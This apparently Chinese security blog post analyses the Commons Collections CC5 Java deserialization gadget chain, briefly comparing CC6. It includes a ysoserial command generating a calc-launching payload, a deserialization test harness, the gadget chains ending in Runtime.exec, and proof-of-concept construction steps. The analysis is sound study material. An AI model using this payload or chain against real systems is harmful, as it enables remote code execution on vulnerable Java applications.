cc5链

漏洞复现

idea创建maven环境,拉取环境。

使用工具生成反序列化paylaod
java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections5 calc > test.ser

1

测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class CommonsCollections5 {
public static void main(String[] args) {
deserialize();
}

public static void serialize(Object obj) {
try {
ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("tes.ser"));
os.writeObject(obj);
os.close();
} catch (Exception e) {
e.printStackTrace();
}
}

public static void deserialize() {
try {
ObjectInputStream is = new ObjectInputStream(new FileInputStream("tes.ser"));
is.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}

}

漏洞分析

这条链后半部分和cc1一样,前半段不同(如何触发LazyMap#get),InvokerTransformer.transfrom–>ChainedTransformer.transfrom ConstantTransformer.transfrom拿到runtime类,构造命令执行点主要分析前半部分。

CC5 相当于从新找了个方法接替了 AnnotationInvocationHandler 的工作,这个类就叫做 BadAttributeValueExpException

首先readObject复写点在BadAttributeValueExpException

2
这里重写readObject方法并且会调用toString方法,并且变量valObj可控,利用类TiedMapEntry中的toString的方法

3
然后会调用LazyMap.get()方法,这样就回到了cc1的后半部分,不再赘述。

利用链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

需要注意的是构造payload的时候,BadAttributeValueExpException类会对val进行判断是否为空,不为空就会执行toString方法,反序列化时传入entry已经时字符串了,就不会触发toString方法了,所以选择反射的方法进行调用

1
public BadAttributeValueExpException (Object val) { this.val = val == null ? null : val.toString(); }

总结

构造poc思路

  1. 以TiedMapEntry对象为参数(就是poc中的entry对象,通过反射传入的参数)声明一个BadAttributeValueExpException对象,反序列化自动调用TiedMapEntry.toString()
  2. 上一步的toString触发TiedMapEntry.getValue(),进而触发LazyMap.get()
  3. LazyMap.get()触发ChainedTransformer.transform()实现rce

cc6称为cc5的兄弟链,不同的是CC5可以通过toString方法触发getValue,CC6链就是通过hashCode方法触发getValue的。利用链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()